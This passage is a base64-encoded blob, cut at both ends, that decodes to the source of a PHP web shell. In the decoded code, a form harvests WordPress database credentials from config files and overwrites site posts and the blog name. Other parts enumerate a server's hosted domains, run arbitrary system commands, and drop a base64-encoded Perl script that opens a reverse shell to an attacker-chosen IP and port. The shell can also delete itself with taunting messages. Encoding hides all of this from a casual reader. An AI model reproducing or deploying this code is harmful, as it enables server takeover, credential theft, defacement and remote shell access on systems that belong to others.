oOiAzMDBweDsnPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ2hhamFyJ10pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ25ld190aXRsZSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBuX3RpdGxlID0gc3RyX3JlcGxhY2UoIiAiLCAiLSIsICR0aXRsZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzY3JpcHQgPSAkdGl0bGU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb25mID0gJF9QT1NUWydjb25maWdfZGlyJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzY2FuX2NvbmYgPSBzY2FuZGlyKCRjb25mKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJHNjYW5fY29uZiBhcyAkZmlsZV9jb25mKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFpc19maWxlKCIkY29uZi8kZmlsZV9jb25mIikpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29uZmlnID0gZmlsZV9nZXRfY29udGVudHMoIiRjb25mLyRmaWxlX2NvbmYiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgiL1dvcmRQcmVzcy8iLCAkY29uZmlnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYmhvc3QgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfSE9TVCcsICciLCInIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRidXNlciA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9VU0VSJywgJyIsIiciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJwYXNzID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX1BBU1NXT1JEJywgJyIsIiciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJuYW1lID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX05BTUUnLCAnIiwiJyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYnByZWZpeCA9IGFtYmlsa2F0YSgkY29uZmlnLCJ0YWJsZV9wcmVmaXggID0gJyIsIiciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcHJlZml4ID0gJGRicHJlZml4LiJwb3N0cyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9wdGlvbiA9ICRkYnByZWZpeC4ib3B0aW9ucyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbm4gPSBteXNxbF9jb25uZWN0KCRkYmhvc3QsJGRidXNlciwkZGJwYXNzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGIgPSBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkcHJlZml4IE9SREVSIEJZIElEIEFTQyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlkID0gJHJlc3VsdFtJRF07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHEyID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJG9wdGlvbiBPUkRFUiBCWSBvcHRpb25faWQgQVNDIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdDIgPSBteXNxbF9mZXRjaF9hcnJheSgkcTIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YXJnZXQgPSAkcmVzdWx0MltvcHRpb25fdmFsdWVdOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1cGRhdGUgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRwcmVmaXggU0VUIHBvc3RfdGl0bGU9JyR0aXRsZScscG9zdF9jb250ZW50PSckc2NyaXB0Jyxwb3N0X25hbWU9JyRwbl90aXRsZScscG9zdF9zdGF0dXM9J3B1Ymxpc2gnLGNvbW1lbnRfc3RhdHVzPSdvcGVuJyxwaW5nX3N0YXR1cz0nb3BlbicscG9zdF90eXBlPSdwb3N0Jyxjb21tZW50X2NvdW50PScxJyBXSEVSRSBpZD0nJGlkJyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1cGRhdGUgLj0gbXlzcWxfcXVlcnkoIlVQREFURSAkb3B0aW9uIFNFVCBvcHRpb25fdmFsdWU9JyR0aXRsZScgV0hFUkUgb3B0aW9uX25hbWU9J2Jsb2duYW1lJyBPUiBvcHRpb25fbmFtZT0nYmxvZ2Rlc2NyaXB0aW9uJyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxkaXYgc3R5bGU9J21hcmdpbjogNXB4IGF1dG87Jz4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR0YXJnZXQgPT0gJycpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5UaGVyZSBXYXMgYSBFcnJvciBXaGlsZSBEb2luZyBUaGUgVGFzazwvZm9udD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPSckdGFyZ2V0LyIuJHBuX3RpdGxlLiInIHRhcmdldD0nX2JsYW5rJz48Zm9udCBjb2xvcj0nbGF3bmdyZWVuJz4kdGFyZ2V0LyRwbl90aXRsZTwvZm9udD48L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISR1cGRhdGUgT1IgISRjb25uIE9SICEkZGIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5NeVNRTCBFcnJvcjogIi5teXNxbF9lcnJvcigpLiI8L2ZvbnQ+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPWxpbWU+PC9mb250Pjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L2Rpdj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsX2Nsb3NlKCRjb25uKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJjb2xvcjogd2hpdGU7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEwMCU7Ij4NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydkb21haW5zJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvcyA9ICd3aW4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvcyA9ICduaXgnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkb3MgPT0gJ3dpbicpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiB3aGl0ZTsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMjAwJTsiPk9vb3BwcHNzIFdpbmRvd3MgU2VydmVyIDpQPGJyPllvdSBCZXR0ZXIgRmluZCBMaW51eCBIYWhhIDpQIDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9jZW50ZXI+PD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IEBpbXBsb2RlKEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICREb21haW5fcGF0aCA9ICIvdmFyL25hbWVkIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlsZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZG9tYWlucyA9IHNjYW5kaXIoJERvbWFpbl9wYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvdW50PTE7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYyA9IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkIGNvbHNwYW49Mj48Y2VudGVyPlRoZXJlIGFyZSA6ICggPGI+IiAuIGNvdW50KCRkb21haW5zKSAuICI8L2I+ICkgRG9tYWlucyBpbiB0aGlzIFNldmVyLjwvY2VudGVyPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD5ObzwvdGQ+PHRkPkRvbWFpbnM8L3RkPjx0ZD5Vc2VyPC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb21haW5zIGFzICYkZG9tYWluKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkZG9tYWluLCIuZGIiKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCcuZGInLCcnLCRkb21haW4pOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRkb21haW4pID4gNikgew0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD48YSBocmVmPSdodHRwOi8vIi4kZG9tYWluLiInIHRhcmdldD0nX2JsYW5rJz4iLidodHRwOi8vJy4kZG9tYWluLicvaW5kZXgucGhwJy4iPC9hPjwvdGQ+PHRkPjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvdW50ID0gMTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoIiNuYW1lZC8oLio/KS5kYiMiLCAkZmlsZSwgJHIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZG9tYWlucyA9IGFycmF5X3VuaXF1ZSgkclsxXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTEgd2lkdGg9NTklIGNlbGxwYWRkaW5nPTU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj48dGQgY29sc3Bhbj0yPiBUaGVyZSBhcmUgICggPGI+IiAuIGNvdW50KCRkb21haW5zKSAuICI8L2I+ICkgRG9tYWlucyBpbiB0aGlzIFNldmVyLkkgdGhpbmsgeW91IGhhdmUgZ290IHNvbWV0aGluZyB0aGlzIHRpbWUgeWVhaCEhIS48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj48dGQ+RG9tYWlucyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb21haW5zIGFzICRkb21haW4pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIgLiAkZG9tYWluKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQ+PGEgaHJlZj0naHR0cDovLyIuJGRvbWFpbi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4naHR0cDovLycuJGRvbWFpbi4nL2luZGV4LnBocCcuIjwvYT48L3RkPjx0ZD48L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydiYWNrX2Nvbm5lY3RlciddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48YnI+PGJyPjxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwnYmNwJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTtcIiBtZXRob2Q9J1BPU1QnPjxzcGFuIHN0eWxlPSdmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAyMDAlOyBjb2xvcjogd2hpdGU7Jz5CYWNrLUNvbm5lY3RlciBWaWEgUGVybDwvc3Bhbj48YnIvPjxicj5Zb3VyIElwOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPjxicj48YnI+IFBvcnQgdG8gYmluZDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPScxMTAnPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9J2JhY2tjb25uZWN0JyB2YWx1ZT0nU3VibWl0Jz48L2Zvcm0+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnYmFja2Nvbm5lY3QnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjZigkZiwkdCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHcgPSBAZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHcpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJHcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB0ZXJtdXhoYWNreigkaW4pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZXhlYygkaW4sJG91dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHBhc3N0aHJ1KCRpbik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAc3lzdGVtKCRpbik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gc2hlbGxfZXhlYygkaW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCFAZmVvZigkZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwY2xvc2UoJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJG91dDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsnYmFja2Nvbm5lY3QnXSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSB0ZXJtdXhoYWNreigicGVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydzZXJ2ZXInXS4iICIuJF9QT1NUWydwb3J0J10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHNsZWVwKDEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuIHRlcm11eGhhY2t6KCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICB1bmxpbmsoIi90bXAvYmMucGwiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2RpZSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPjxjZW50ZXI+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJjb2xvcjogcmVkOyBmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAyMDAlOyI+WW91IFN1cmUgPzwvZm9udD48YnI+PGJyPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImZ1Y2tvZmYiIHZhbHVlPSJZZXMiIC8+Jm5ic3A7Jm5ic3A8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJkb250ZnVja29mZiIgdmFsdWU9Ik5vIiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydmdWNrb2ZmJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGllKCc8Zm9udCBzdHlsZT0iY29sb3I6IHJlZDsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMjAwJTsiPjxicj48YnI+WW91IDxzcGFuIHN0eWxlPSJjb2xvcjogdGVhbDsiPkRlbGV0ZWQ8L3NwYW4+IE1lIDozIDxicj4gTm93IDxzcGFuIHN0eWxlPSJjb2xvcjogbGF3bmdyZWVuOyI+RnVjayA8L3NwYW4+T2ZmIE91dHRhIGhlcmU6Vjxicj4nKTt9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnZG9udGZ1Y2tvZmYnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCIgZmFjZT0iY3Vyc2l2ZSIgc2l6ZT0iNiI7Pjxicj48YnI+Q2FuY2VsbGVkISEhPGJyPjxicj48L2ZvbnQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDxicj4NCiAgICAgICAgICAgICAgICAJPD9waHANCiAgICAgICAgICAgICAgICAJZWNobyAnDQogICAgICAgICAgICAgICAgPHN0eWxlPg0KICAgICAgICAgICAgICAgIC5yb3RhdGUgew0KICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uOiByb3RhdGlvbiA4cyBpbmZpbml0ZSBsaW5lYXI7DQogICAgICAgICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIEBrZXlmcmFtZXMgcm90YXRpb24gew0KICAgICAgI